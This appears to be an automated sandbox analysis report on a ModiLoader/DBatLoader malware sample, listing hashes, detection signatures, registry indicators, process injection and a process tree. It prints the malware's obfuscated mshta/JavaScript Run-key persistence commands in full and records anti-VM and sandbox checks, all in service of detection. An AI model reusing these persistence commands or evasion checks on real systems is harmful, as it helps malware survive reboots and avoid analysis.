Analysis
-
max time kernel
151s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
05-05-2024 09:05
Static task
static1
Behavioral task
behavioral1
Sample
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe
Resource
win10v2004-20240226-en
General
-
Target
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe
-
Size
357KB
-
MD5
16f2bfd12ecc59c08c846c7a91179688
-
SHA1
ac74f2287c0bfe874a210570322452929b765f5e
-
SHA256
22515694f5e8a26dabe3a2c78c91b20868877b50f2e11779e15a946ff0e9a239
-
SHA512
6d445e1454aeedb55a8f98176abc078c7878de8738eb5cb00b5bc388bb4921eb678bcd3e109ebe59c72732fa17dbd7f2064afd500067bbbe1520ec581f66bbd2
-
SSDEEP
6144:SyN8f1pUqmWqpYTHpIb93Oh68L6xywQ1blRjXS7ytx2Uvs:h6f1pUqmIHpyG6TitS0xS
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions dllhost.exe -
ModiLoader Second Stage 48 IoCs
Processes:
resource yara_rule behavioral2/memory/1596-5-0x0000000000400000-0x000000000045F000-memory.dmp modiloader_stage2 behavioral2/memory/1596-7-0x00000000042D0000-0x0000000004394000-memory.dmp modiloader_stage2 behavioral2/memory/1596-12-0x0000000000400000-0x000000000045F000-memory.dmp modiloader_stage2 behavioral2/memory/3772-11-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 behavioral2/memory/1596-10-0x00000000042D0000-0x0000000004394000-memory.dmp modiloader_stage2 behavioral2/memory/3772-13-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 behavioral2/memory/2280-17-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-21-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-20-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-19-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-18-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-22-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-23-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-24-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-25-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-26-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-27-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/4788-29-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/4788-32-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/4788-34-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/4788-33-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/4788-31-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/4788-30-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/2280-38-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-41-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-42-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-40-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-39-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-36-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-37-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-35-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-43-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/1136-46-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/1136-49-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/1136-50-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/1136-48-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/1136-47-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/1136-52-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/2280-61-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-65-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-70-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-69-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-68-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-67-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-66-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-64-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-63-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 behavioral2/memory/2280-62-0x0000000000A80000-0x0000000000B44000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run dllhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:VrJfRR0=\"5oK\";M8f=new%20ActiveXObject(\"WScript.Shell\");HLXTYo4=\"KWu99j\";i9fKK=M8f.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1f2fa368\\\\2bef0163\");AswPc5Pk=\"Vzoipdx\";eval(i9fKK);cgm5LeWO=\"WW9\";" dllhost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Deletes itself 1 IoCs
Processes:
dllhost.exepid process 2280 dllhost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Alw9ekk=\"BqGi\";f0H9=new%20ActiveXObject(\"WScript.Shell\");OzN3OlPiS=\"GkdD\";xf2bc=f0H9.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1f2fa368\\\\2bef0163\");tBrm84laKl=\"78zf0ouSyE\";eval(xf2bc);B4gdirVNT=\"0ieq9h3Wez\";" dllhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:taItR1A7AM=\"cg6m\";yj81=new%20ActiveXObject(\"WScript.Shell\");iA3KLAU6Vs=\"v0lih\";Q1cJ1P=yj81.RegRead(\"HKCU\\\\software\\\\1f2fa368\\\\2bef0163\");YKK7vhywH=\"ueuh\";eval(Q1cJ1P);C2geHmsR=\"Q9lPE\";" dllhost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum dllhost.exe -
Processes:
dllhost.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\International dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl dllhost.exe Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
dllhost.exepid process 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exedllhost.exedllhost.exepid process 1596 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe 1596 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe 1596 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe 3772 dllhost.exe 3772 dllhost.exe 3772 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe 2280 dllhost.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exedllhost.exedllhost.exedescription pid process target process PID 1596 wrote to memory of 3772 1596 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe dllhost.exe PID 1596 wrote to memory of 3772 1596 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe dllhost.exe PID 1596 wrote to memory of 3772 1596 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe dllhost.exe PID 3772 wrote to memory of 2280 3772 dllhost.exe dllhost.exe PID 3772 wrote to memory of 2280 3772 dllhost.exe dllhost.exe PID 3772 wrote to memory of 2280 3772 dllhost.exe dllhost.exe PID 2280 wrote to memory of 4788 2280 dllhost.exe dllhost.exe PID 2280 wrote to memory of 4788 2280 dllhost.exe dllhost.exe PID 2280 wrote to memory of 4788 2280 dllhost.exe dllhost.exe PID 2280 wrote to memory of 1136 2280 dllhost.exe explorer.exe PID 2280 wrote to memory of 1136 2280 dllhost.exe explorer.exe PID 2280 wrote to memory of 1136 2280 dllhost.exe explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"4⤵PID:4788
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe4⤵PID:1136
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2432 --field-trial-handle=2236,i,5367110156796017614,12594004256180761011,262144 --variations-seed-version /prefetch:81⤵PID:4080